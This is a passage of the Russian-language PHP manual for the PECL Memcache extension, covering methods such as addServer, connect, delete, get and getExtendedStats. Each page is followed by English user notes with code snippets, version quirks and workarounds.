if ($value === false) {
   // --- read from DB ---
   $query = "SELECT value FROM database";
   $result = mysql_query($query);
   $row = mysql_fetch_assoc($result);
   $db_value = $row["value"];
   $add_value = $memcache->add($key, $db_value + 1, 0, 0);
   if ($add_value === false) {
      $value = $memcache->increment($key, 1)
      if ($value === false) {
          error_log ("counter update failed.");
      }
   } else {
      $value = $db_value + 1;
   }
}

// --- display counter value ---
echo $value;

?>
roberto at spadim,com dot br 17-Jun-2007 10:13
[c.2007]
if you read source code for MMC_SERIALIZED you will see at line ~1555 that [a line ~1560]
!(is_string,is_long,is_double,is_bool)

[is] serialized and that serialized values are flaged as MMC_SERIALIZED for return (fetch) code unserialize these values again


Добавляет сервер memcached в пул соединений

  • « Memcache::add
  • Memcache::close »
  • PHP Manual
  • Memcache
  • Добавляет сервер memcached в пул соединений

Memcache::addServer

(PECL memcache >= 2.0.0)

Memcache::addServer — Добавляет сервер memcached в пул соединений

Описание

Memcache::addServer(
string $host,
int $port = 11211,
bool $persistent = ?,
int $weight = ?,
int $timeout = ?,
int $retry_interval = ?,
bool $status = ?,
callable $failure_callback = ?,
int $timeoutms = ?
): bool

Memcache::addServer() добавляет сервер в пул соединений. Вы также можете использовать функцию memcache_add_server().

При использовании этого метода (в отличие от Memcache::connect() и Memcache::pconnect()) сетевое соединение не будет установлено, пока в нем не возникнет необходимость. В связи с этим можно не опасаться снижения производительности при добавлении большого количества серверов в пул, так как, возможно, они никогда не будут использованы.

Потребность в обеспечении отказоустойчивости может возникнуть на любом этапе в любом методе и если при этом будут доступен хотя бы один сервер из пула - пользователь не получит какого-либо оповещения. Любой тип ошибки сокета или сервера Memcached (за исключением ошибки переполнения памяти) может включить протокол обеспечения отказоустойчивости. Обычные клиентские ошибки, такие как добавление существующего ключа, не вызовут подобного поведения.

Замечание:

Эта функция была добавлена в Memcache версии 2.0.0.

Список параметров

host

Указывает на хост с запущенным сервисом memcached. Этот параметр можно задать в виде unix:///path/to/memcached.sock для использования сокетов Unix, но в таком случае будет необходимо установить параметр port, равным 0.

port

Указывает порт, по которому доступен сервис memcached. Необходимо установить равным 0 если используются сокеты Unix.

Пожалуйста обратите внимание: port по умолчанию равен memcache.default_port. Поэтому рекомендуется всегда указывать номер порта при использовании этого метода.

persistent

Использовать ли постоянное соединение. По умолчанию true.

weight

Необходимое количество созданных пакетов данных для этого сервера, что, в свою очередь, определяет вероятность его выбора. Вероятность рассчитывается относительно общего веса всех серверов.

timeout

Время ожидания в секундах для установления соединения с сервером. Дважды подумайте прежде чем устанавливать это значение больше чем 1. Это может нивелировать всю пользу от использования memcached.

retry_interval

Управляет частотой проверки доступности отказавшего сервера, по умолчанию 15 секунд. Если задать значение "-1", то попыток проверить доступность сервера предприниматься не будет. Ни этот параметр, ни параметр persistent не оказывают никакого влияния, если модуль загружен динамически через функцию dl().

Каждая провалившаяся структура соединения имеет собственное значение времени ожидания и, пока оно не превышено, структура будет пропущена, после чего попробует выбрать другой сервер для обслуживания запроса. После того как время соединения истекло, оно либо удачно пересоединится, либо будет помечено провалившимся и будет ждать ещё retry_interval секунд. Обычно эффект заключается в том, что каждый процесс веб-сервера будет ожидать retry_interval секунд при обслуживании запроса.

status

Определяет, должен ли сервер помечен флагом как "онлайн". Установка этого параметра в false и retry_interval в -1 позволит сохранить сервер в пуле, но не использовать его в алгоритме распределения ключей. Запрос к этому серверу либо запустит механизм обеспечения отказоустойчивости, либо сразу же прервётся с ошибкой, в зависимости от настройки memcache.allow_failover. По умолчанию равно true, что означает, что сервер активен и готов принимать запросы.

failure_callback

Позволяет пользователю задать функцию обратного вызова, которая запустится в случае какой-либо ошибки. Эта функция будет вызвана раньше, чем будет запущен механизм обеспечения отказоустойчивости. Функция принимает два параметра - имя хоста и порт отказавшего сервера.

timeoutms

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::addServer()

<?php

/* объектно-ориентированное API */

$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
$memcache->addServer('memcache_host2', 11211);

/* процедурное API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_add_server($memcache_obj, 'memcache_host2', 11211);

?>

Примечания

Внимание

Когда значение port не указано, этот метод использует значение, указанное в ini-директиве PHP memcache.default_port. Если это значение было изменено где-нибудь ещё в вашем приложении, то это может дать непредсказуемые результаты. По этой причине лучше всегда явно указывать порт при вызове метода.

Смотрите также

  • Memcache::connect() - Открывает соединение с сервером memcached
  • Memcache::pconnect() - Открывает постоянное соединение с сервером memcached
  • Memcache::close() - Закрыть соединение с сервером memcached
  • Memcache::setServerParams() - Изменяет параметры сервера и статус во время выполнения
  • Memcache::getServerStatus() - Возвращает статус сервера

User Contributed Notes

joewynn dot nz+phpnet at gmail dot com 25-Oct-2013 10:12
Note that this method will always return TRUE because a connection is not actually made at call time. See this bug report for more information: https://bugs.php.net/bug.php?id=58193
enno dot rehling at gmail dot com 09-Sep-2011 04:11
The $timeoutms argument can be used to specify the timeout in milliseconds, but isn't available in all versions. For example, it exists in php_memcache 2.2.6, but not in 3.0.4. In 2.2.6, if you specify it, then it overrides $timeout.

Caveat emptor: If $timeoutms is not specified, it defaults to the value of memcache.default_timeout_ms in php.ini, which defaults to 1000 if not set. This also overrides $timeout, which has the curious effect that $timeout is always ignored in php_memcache 2.2.6 (either in favor of $timeoutms, memcache.default_timeout_ms or the value 1000, in that order of priority).
rstaveley at seseit dot com 17-Jun-2011 04:06
The Memcache client library is responsible for picking the right server to set/get data. That's why addServer is what you want to use rather than connect, when you have more than one Memcache server. A subsequent set/get will then connect on demand to the appropriate instance as needs be. Disconnection to whatever servers were connected to happening when you close or your script terminates.

Memcache instances added to your Memcache object via addServer should be added in the same order in your application to ensure that the same server is picked for use with the same key.

A client library may be implemented to run a CRC on the key and do a modulus over the number of instances in the list to select an instance from the list for the set/get. This ensures that data is spread nicely across the nodes.

That all works nicely behind the scenes for you in your PHP code, as long as you add your list of Memcache instances in a consistent manner with addServer.
eu at serbannistor dot ro 04-May-2011 06:30
Actually if you have two memcached servers from which one of them is on localhost, and the other is on a remote machine you can communicate with both even if you specify the loopback address for the local one.

<?php
$memcache_obj = memcache_connect("127.0.0.1", 11211);
memcache_add_server($memcache_obj, "memcache_remote_host");
$memcache_obj->set('var_key', time());
?>

This WILL communicate with both hosts but however there are two aspects that must be taken into account:
1. the communication will be done through different network interfaces with the two hosts. It will use the loopback interface for the "127.0.0.1" host (lo in my case on Linux) and the external interface for the "memcache_remote_host" (eth0 in my case). Only if you want to use the same network interface to communicate with both hosts you must use the external IPs of both machines (and all communication will go out through the eth0 interface).
2. the connection with the two hosts will be established differently because of how memcache_connect() and memcache_add_server() work. Therefore the memcache_connect() will initiate the connection to localhost through the loopback interface when it is called, while memcache_add_server() will just add the second server to the pool, but it will not send any package through the network until it's absolutely needed (for example when a memcache_set() command is issued).
iwind dot liu at gmail dot com 08-Feb-2010 12:14
The weight of the server must be greater than 0.

If there is no memcached server to use, and you try to set/add variables, the apache will be crashed, with the error message "[notice] child pid 18725 exit signal Segmentation fault (11)" in error_log file.
Jean-Baptiste Quenot 05-May-2008 01:08
The default value for the "weight" argument is 1


Закрыть соединение с сервером memcached

  • « Memcache::addServer
  • Memcache::connect »
  • PHP Manual
  • Memcache
  • Закрыть соединение с сервером memcached

Memcache::close

(PECL memcache >= 0.4.0)

Memcache::close — Закрыть соединение с сервером memcached

Описание

Memcache::close(): bool

Memcache::close() закрывает соединение с сервером memcached. Эта функция не закрывает постоянное соединение, которое закрывается только во время завершения работы/перезапуска веб-сервера. Вы также можете использовать функцию memcache_close().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::close()

<?php

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/*
сделать что-нибудь здесь...
*/
memcache_close($memcache_obj);

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/*
сделать что-нибудь здесь...
*/
$memcache_obj->close();

?>

Смотрите также

  • Memcache::connect() - Открывает соединение с сервером memcached
  • Memcache::pconnect() - Открывает постоянное соединение с сервером memcached

User Contributed Notes

There are no user contributed notes for this page.


Открывает соединение с сервером memcached

  • « Memcache::close
  • Memcache::decrement »
  • PHP Manual
  • Memcache
  • Открывает соединение с сервером memcached

Memcache::connect

(PECL memcache >= 0.2.0)

Memcache::connect — Открывает соединение с сервером memcached

Описание

Memcache::connect(string $host, int $port = ?, int $timeout = ?): bool

Memcache::connect() устанавливает соединение с сервером memcached. Соединение, открытое с помощью Memcache::connect(), автоматически закрывается по окончанию выполнения скрипта. Также вы можете закрыть соединение при помощи Memcache::close(). Также вы можете использовать функцию memcache_connect().

Список параметров

host

Определяет хост, на котором memcached ожидает подключений. Этот параметр также может задавать другой транспорт, например unix:///path/to/memcached.sock для использования сокетов Unix. В таком случае, port должен быть задан как 0.

port

Определяет порт, на котором слушает memcached. Установите этот параметр равным 0, если используете сокеты Unix.

Обратите внимание: port, если не задан, по умолчанию будет равен memcache.default_port. По этой причине имеет смысл указать порт явно при вызове метода.

timeout

Значение в секундах, которое будет использовано для подключения к демону. Дважды подумайте, прежде чем изменить значение по умолчанию с 1 секунды - вы можете потерять все преимущества от кеширование, если ваше соединение очень медленное.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::connect()

<?php

/* процедурное API */

$memcache_obj = memcache_connect('memcache_host', 11211);

/* объектно-ориентированное API */

$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);

?>

Примечания

Внимание

Если порт port не задан, этот метод использует значение по умолчанию, заданное в ini-настройке memcache.default_port. Если это значение изменится где-нибудь в вашем приложении - это может привести к неожиданным результатам. По этой причине имеет смысл всегда указать порт явно при вызове метода.

Смотрите также

  • Memcache::pconnect() - Открывает постоянное соединение с сервером memcached
  • Memcache::close() - Закрыть соединение с сервером memcached

User Contributed Notes

webysther at gmail dot com 10-May-2014 04:28
In describing the timeout there is a statement that is not completely correct, increase the timeout does not necessarily preclude or unfeasible memcache, only allows the system to wait for more concurrent connections, which is a large minority of the number of connections, this causes several problems and could simply be corrected if the timeout was increased and perform some tests.
To prove the concept and show that the connection does not wait if the server goes down:

<?PHP

while ( ++$loop < 10000 ) {
    try {
        $memcache = new Memcache;
        @$memcache->pconnect( "127.0.0.1" , 11211 , 30 );
        $loopset = 0;
        $loopget = 0;

        while ( ++$loopset < 50 ) {
            if ( @$memcache->set( "foo" , "bar" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        while ( ++$loopget < 500 ) {
            if ( @$memcache->get( "foo" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        if ( $loop % 100 == 0 ) {
            echo "Try: " . $loop . PHP_EOL;
        }
    } catch ( Exception $e ) {
        echo "Fail: " . $e->getMessage() . PHP_EOL;
    }
}

?>

Replace with an invalid host and test the timeout will not make a difference! It serves only for connections to the socket that are occupied.

More detail about troubleshooting timeouts in memcached google code.
tom at all dash community dot de 06-Dec-2011 07:52
There is a not-so-obvious way to check whether or not a MemCache-Server is available.

Using ($memCache->connect() == false) will wait for a timeout if it can't connect. If you got a high-traffic site this may not be an option. So when the server is down, you may want to avoid waiting for this timeout on every request and instead try to reconnect only once every X seconds.

If so, this code may help:

<?php
$memCache = new \Memcache();
$memCache->addServer($host, $port);
$stats = @$memCache->getExtendedStats();
$available = (bool) $stats["$host:$port"];
if ($available && @$memCache->connect($host, $port))
    // MemCache is there
else
    // go on without MemCache
?>

The result of getExtendedStats() is an array. The information is cached and maintained by MemCache itself. If the server is not available, the result will be FALSE.

Even if the result is not false, the server may still not be available. Thus you need to check for connect() != false too, but only if the first check returns TRUE, thus avoiding the 1 second timeout in most cases.
Both getExtendedStats() and connect() issue notices/warnings if the server is not there. Thus you have to mute both calls.

Do NOT use getServerStatus() for this purpose: the result is cached on server-start and will not recognize when the connection to the server is lost (or reestablished) in between.
djbrd 11-May-2011 11:48
To suppress (or handle) the warning and notice thrown by a failed attempt to connect, you can use a custom error handler function, like this:

<?php
function myErrorHandler($errno, $errstr, $errfile, $errline)
{

    if (E_WARNING === $errno)
    {
        Log("PHP Warning: $errstr, $errfile, $errline", Logging::WARN);
        return true;
    }

    if (E_NOTICE === $errno)
    {
        Log("PHP Notic: $errstr, $errfile, $errline", Logging::NOTICE);
        return true;
    }

    return false;
}

set_error_handler('myErrorHandler');
?>
geoffrey dot hoffman at gmail dot com 18-Aug-2010 12:32
If memcached is working, calling memcache_connect( ) returns an Object instance, not a boolean. If memcached is not working, calling memcache_connect( ) throws a notice AND a warning (and returns false as expected).

<?php
/* memcache is running */
$test1 = memcache_connect('127.0.0.1',11211);
echo gettype($test1);
// object
echo get_class($test1);
// Memcache

/* memcached is stopped */
$test2 = memcache_connect('127.0.0.1',11211);

/*
Notice: memcache_connect(): Server 127.0.0.1 (tcp 11211) failed with: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1

Warning: memcache_connect(): Can't connect to 127.0.0.1:11211, A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1
*/

echo gettype($test2);
// boolean
echo $test2===false;
// 1
?>

There appears to be no way to check whether memcached is actually running without resorting to error suppression:

<?php
$test3 = @memcache_connect('127.0.0.1',11211);
if( $test3===false ){
   // memcached is _probably_ not running
}
?>
chrisn at allipo dot com 05-Sep-2006 01:39
The behavior of Memcache::connect() is to always reinitialize the pool from scratch regardless of any previous calls to addServer().

E.g.

<?php
$mmc = new Memcache()
$mmc->addServer('node1', 11211);
$mmc->addServer('node2', 11211);
$mmc->addServer('node3', 11211);

$mmc->connect('node1', 11211);
?>

The last connect() call clears out the pool and then add and connect node1:11211 making it the only server.

If you want a pool of memcache servers, do not use the connect() function.

If you only want a single memcache server then there is no need to use the addServer() function.


Декрементировать значение элемента

  • « Memcache::connect
  • Memcache::delete »
  • PHP Manual
  • Memcache
  • Декрементировать значение элемента

Memcache::decrement

(PECL memcache >= 0.2.0)

Memcache::decrement — Декрементировать значение элемента

Описание

Memcache::decrement(string $key, int $value = 1): int|false

Memcache::decrement() уменьшает значение элемента на величину value. Аналогично Memcache::increment(), текущее значение элемента приводится к числовому и после этого из него вычитается value.

Замечание:

Новое значение элемента не может быть меньше нуля.

Замечание:

Не используйте Memcache::decrement() с элементами, которые были сохранены с использованием сжатия, потому что соответствующий вызов Memcache::get() обернётся неудачей.

Memcache::decrement() не создаёт элемент, если он до этого не существовал. Также вы можете использовать функцию memcache_decrement().

Список параметров

key

Ключ декрементируемого элемента.

value

Уменьшение элемента на величину value.

Возвращаемые значения

В случае успешного выполнения возвращает новое значение элемента или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::decrement()

<?php

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* декрементировать на 2 */
$new_value = memcache_decrement($memcache_obj, 'test_item', 2);

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* декрементировать на 3 */
$new_value = $memcache_obj->decrement('test_item', 3);
?>

Смотрите также

  • Memcache::increment() - Увеличить значение элемента
  • Memcache::replace() - Заменить значение существующего элемента

User Contributed Notes

There are no user contributed notes for this page.


Удалить элемент с сервера

  • « Memcache::decrement
  • Memcache::flush »
  • PHP Manual
  • Memcache
  • Удалить элемент с сервера

Memcache::delete

(PECL memcache >= 0.2.0)

Memcache::delete — Удалить элемент с сервера

Описание

Memcache::delete(string $key, int $timeout = 0): bool

Memcache::delete() удаляет элемент с указанным ключом key.

Список параметров

key

Ключ удаляемого элемента.

timeout

Это устаревший параметр и в настоящее время не используется. Значение по умолчанию 0 секунд. Не используйте этот параметр.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
Неизвестно | Не рекомендуется использование параметра timeout. Поведение будет различаться в разных версиях memcache, однако его установка в 0 безопасна. Другие значения этого параметра могу привести к ошибкам при удалении элемента.

Примеры

Пример #1 Пример использования Memcache::delete()

<?php

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);

/* элемент будет удалён сервером */
memcache_delete($memcache_obj, 'key_to_delete');

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->delete('key_to_delete');

?>

Смотрите также

  • Memcache::set() - Сохранить данные на сервере
  • Memcache::replace() - Заменить значение существующего элемента

User Contributed Notes

padys 12-Apr-2013 06:24
In my case this code does NOT work:
<?php
$memcache->set('index', 'deleted', 0, -1);
?>
because of expire == -1.

I set expire = 1 (and I prefer "replace"):
<?php
$memcache->replace('index', '', 0, 1);
?>
me at adamhahn dot com 03-Jul-2012 07:26
I could not get the delete to work properly, so I ended up trying the 'set' method and setting the timeout value to -1.

<?php
$memcache->set('index', 'deleted', 0, -1);
?>

It solved my problem with the delete method.

(using memcached 1.4.5 and pecl-memcache 3.0.6)
vbaspcppguy at gmail dot com 08-Sep-2010 12:47
According to the documents, $timeout is not required, but for me if I did not include it regardless of value, it fired an error. I made a simple fix for it.

<?php
class memcache_tools extends memcache
{
    public function delete($key, $expire=0)
    {
        parent::delete($key, $expire);
    }
}
?>

This will force it to behave as it should regardless of version.
Anonymous 28-Jul-2010 03:30
Regardless of whether or not it succeeds, for me on Ubuntu 10.04 it always returns false.  Just an FYI, you can't seem to rely on the result.
nibblebot at gmail dot com 09-Jul-2010 08:58
the Memcache::delete(key) function is broken on several combinations of memcached+pecl-memcache combinations.

pecl-memcache 2.2.5 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 2.2.5 + memcached 1.4.4 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.5 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.4 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.5 - Memcache::delete(key) DOES NOT WORK


Сбросить все существующие элементы на сервере

  • « Memcache::delete
  • Memcache::get »
  • PHP Manual
  • Memcache
  • Сбросить все существующие элементы на сервере

Memcache::flush

(PECL memcache >= 1.0.0)

Memcache::flush — Сбросить все существующие элементы на сервере

Описание

Memcache::flush(): bool

Memcache::flush() немедленно аннулирует все существующие элементы. Memcache::flush() фактически не освобождает ресурсы, а только помечает все элементы как истёкшие, поэтому занятая память будет перезаписана новыми элементами. Вы также можно использовать функцию memcache_flush().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::flush()

<?php

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);

memcache_flush($memcache_obj);

/* объектно-ориентированное API */

$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->flush();

?>

User Contributed Notes

Anonymous 27-Feb-2008 07:51
From the memcached mailing list:

"The flush has a one second granularity. The flush will expire all items up to the ones set within the same second."

It is imperative to wait at least one second after flush() command before further actions like repopulating the cache. Ohterwise new items < 1 second after flush() would be invalidatet instantaneous.

Example:
<?php
$memcache->flush();

$time = time()+1; //one second future
while(time() < $time) {
  //sleep
}
$memcache->set('key', 'value'); // repopulate the cache
?>
maarten d/ot manders a/t tilllate dotcom 12-Jul-2007 01:20
Please note that after flushing, you have to wait a certain amount of time (in my case < 1s) to be able to write to Memcached again. If you don't, Memcached::set() will return 1, although your data is in fact not saved.


Извлечь элемент с сервера

  • « Memcache::flush
  • Memcache::getExtendedStats »
  • PHP Manual
  • Memcache
  • Извлечь элемент с сервера

Memcache::get

(PECL memcache >= 0.2.0)

Memcache::get — Извлечь элемент с сервера

Описание

Memcache::get(string $key, int &$flags = ?): string
Memcache::get(array $keys, array &$flags = ?): array

Memcache::get() возвращает ранее сохранённый элемент с ключом key, если он в данный момент существует на сервере.

Вы можете передать массив ключей в Memcache::get(), чтобы получить массив элементов. Результирующий массив будет содержать только существующие пары ключ-значение.

Список параметров

key

Ключ или массив ключей для чтения.

flags

Если задан, флаги, полученные вместе со значениями, будут записаны в этот параметр. Это в точности те флаги, что и переданные, например в Memcache::set(). Младший байт значения зарезервирован для внутреннего использования pecl/memcache (например для индикации сжатия или сериализации статуса).

Возвращаемые значения

Возвращает значение, связанное с ключом key или массив найденных пар ключ-значение, если в key задан массив. Возвращает false в случае возникновения ошибки или если указанный ключ key не был найден или является пустым массивом.

Примеры

Пример #1 Пример использования Memcache::get()

<?php

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, 'some_key');

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get('some_key');

/*
Также в качестве параметра вы можете использовать массив ключей.
Если элемент не будет найден, то в результирующий массив просто не будет
включён этот ключ.
*/

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, Array('some_key', 'another_key'));

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get(Array('some_key', 'second_key'));

?>

User Contributed Notes

csongor at halmai dot hu 07-Oct-2014 04:27
Avoid reading too many values from memcahce. Each get() consumes some memory. You should cache the values instead, once they are read. Illustration of bad practice:

<?php   // reading from memcache leaks

    $m = new Memcache();
    $m -> connect( "localhost", "11211" );
    $m -> add("foo", "bar");

    for(;;) {  // this "endless" loop will finish because it eats up all the memory
        $res = $m -> get("foo");
        print memory_get_usage()."\n";  // this writes bigger and bigger numbers
    }
a dot karabiowski at gmx dot net 27-Jan-2014 09:19
Signature is not correct.

<?php
$memcache = new Memcache();
$memcache->connect('localhost', 11211);
class Test { public $property = "testvalue"; }
$test = new Test();
$memcache->set("asdf", $test);
var_dump($memcache->get("asdf"));
/* will return the object, not the string:
    class Test#3 (1) {
      public $property =>
      string(9) "testvalue"
    }
*/
?>
bijay dot rungta at gmail dot com 21-May-2013 06:31
Note that if you include spaces in your keys when saving Data and use array of keys to get the Data, The returned array will replace spaces with underscores in the keys.

<?php

$memcache = new Memcache;
$memcache->connect('localhost');
$memcache->set('my-key', 'value1', 0, 300);
$memcache->set('key with space', 'value 2', 0, 300);

print_r($memcache->get(array('my-key', 'key with space'))); // Array ( [my-key] => value1 [key_with_space] => value 2 )

?>

Memcache replaces spaces with underscores when saving, it does so when doing a get too, but when you do a get with single key (string) you don't notice this as it merely returns the value. But when you do a get for array of keys, you would expect the same keys in the returned array but it replaces spaces by underscores in them.
clover at fromru dot com 27-Apr-2013 12:14
$flags stays untouched if $key was not found on the server, it's helpfull to determine if bool(false) was stored:

<?php

$memcache = new Memcache();

$memcache->set('test', false); //
$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // int(256) - changed to int

$memcache->delete('test');

$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // bool(false) - untouched

?>
Michael Brenden 17-Feb-2011 02:46
Beware, if there's a backslash present in the key name then the results are unpredictable and random.

I was generating keys like this:

$mc_key = get_called_class(). $_COOKIE['crumb'];

This works fine when get_called_class() returns CLASSNAME.

But then I began using namespaces, and get_class_class() of course returned NAMESPACE\CLASSNAME

Well that backslash sends Memcache into quite the tizzy.
No errors, mind you, just insanity.
janis at unrepublic dot com 22-Mar-2010 02:00
For me it was the case that if such key doesn't exist, null is returned not false.
nate 14-Oct-2008 08:18
Be aware that when using the multi-key version, Memcache::get returns bool false if no servers are configured for the pool (and possibly if other errors occur as well while attempting to fetch). Also, Memcache class throws annoying warnings on every get/set/delete-type calls if you have no servers added to the pool.

The following snippet var_dump's bool false, not an empty array like you might expect.

<?php
$cache = new Memcache;

// no $cache->addServer calls (for example,
due to temporarily disabling use of cache)

// use @ symbol to ignore warning

var_dump(
    @$cache->get(array('one', 'two'))
);
?>
jakub dot lopuszanski at nasza-klasa dot pl 07-Jul-2008 07:39
If deserialization fails for some reason, that is when memcache server returned flag 1 set, but the value was not a correctly serialized PHP data,
then Memcache::get acts in a following way:

If it was called with a single key to retrieve, then a warning is raised, but since it was not actually a bug of a server, the warning says something confusing like "Memcached Server Error: null" and the function returns bool(false).

If it was called by passing an array (even with a single element in it), then the warning is not raised and the resulting array contains a value bool(false).

Since there are some buffer overrun bugs present in Memcached Server, which from time to time cause overwriting of [part of] data and therefore rendering it impossible to deserialize, make sure to check if the result of Memcache::get contains only string, or deserialized structure. If the result is bool,dobule or long, then something went wrong.


Получить статистику со всех серверов в пуле

  • « Memcache::get
  • Memcache::getServerStatus »
  • PHP Manual
  • Memcache
  • Получить статистику со всех серверов в пуле

Memcache::getExtendedStats

(PECL memcache >= 2.0.0)

Memcache::getExtendedStats — Получить статистику со всех серверов в пуле

Описание

Memcache::getExtendedStats(string $type = ?, int $slabid = ?, int $limit = 100): array

Memcache::getExtendedStats() возвращает двумерный ассоциативный массив, содержащий статистику сервера. Ключи массива соответствуют host:port сервера, а значения содержат статистику по данному серверу. Если не удалось извлечь данные для какого-либо сервера, то соответствующее значение будет выставлено в false. Вы также можете использовать функцию memcache_get_extended_stats().

Замечание:

Эта функция была добавлена в Memcache версии 2.0.0.

Список параметров

type

Тип статистики для извлечения. Корректные значения: reset, malloc, maps, cachedump, slabs, items, sizes. В соответствии со спецификацией протокола memcached, эти дополнительные аргументы "могут быть изменены для удобства разработчиков memcache".

slabid

Используется совместно с type для указания из какого slab-файла делать выгрузку. Используется только в целях отладки. Команда cachedump пытается запустить сервер и должна использоваться только для отладки.

limit

Используется вместе с type для ограничения количества извлекаемых записей.

Внимание

Тип статистики cachedump был удалён из демона memcached для безопасности.

Возвращаемые значения

Возвращает двумерный ассоциативный массив, содержащий статистику по серверам или false в случае неудачи.

Примеры

Пример #1 Пример использования Memcache::getExtendedStats()

<?php
$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->addServer('failed_host', 11211);

$stats = $memcache_obj->getExtendedStats();
print_r($stats);
?>

Результат выполнения данного примера:

Array
(
    [memcache_host:11211] => Array
        (
            [pid] => 3756
            [uptime] => 603011
            [time] => 1133810435
            [version] => 1.1.12
            [rusage_user] => 0.451931
            [rusage_system] => 0.634903
            [curr_items] => 2483
            [total_items] => 3079
            [bytes] => 2718136
            [curr_connections] => 2
            [total_connections] => 807
            [connection_structures] => 13
            [cmd_get] => 9748
            [cmd_set] => 3096
            [get_hits] => 5976
            [get_misses] => 3772
            [bytes_read] => 3448968
            [bytes_written] => 2318883
            [limit_maxbytes] => 33554432
        )

    [failed_host:11211] => false
)

Смотрите также

  • Memcache::getVersion() - Вернуть версию сервера
  • Memcache::getStats() - Получить статистику сервера

User Contributed Notes

Anonymous 20-Jul-2018 12:16
the latest updated version:

function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           if (!is_int($slabId)) { continue; }
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    $list[] =  $k;
                }
           }
        }
    }
    return $list;
}
jcastromail at yahoo dot es 22-Feb-2017 08:39
" The cachedump stat type has been removed from the memcached daemon due to security reasons. "

To the date, the version 1.4.5_4_gaa7839e (windows 64bits) still supports the command cachedump that its highly important to returns the keys stored.
eithed at gmail 28-Jul-2016 03:14
In response to manmca dot 2280 at gmail dot com

This function makes the memcached read only, at least with the most recent version of PECL memcache (3.0.8) and most recent version of memcache (1.4.21), so if you're relying on this to overwrite / remove only certain keys you're in for a nasty suprise
oushunbao at 163 dot com 16-Jun-2011 02:57
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 * @modified: 16-Jun-2011
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

copy from up, but fix a warning
i only add one line:  if (!is_array($arrVal)) continue;
manmca dot 2280 at gmail dot com 28-May-2010 04:35
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
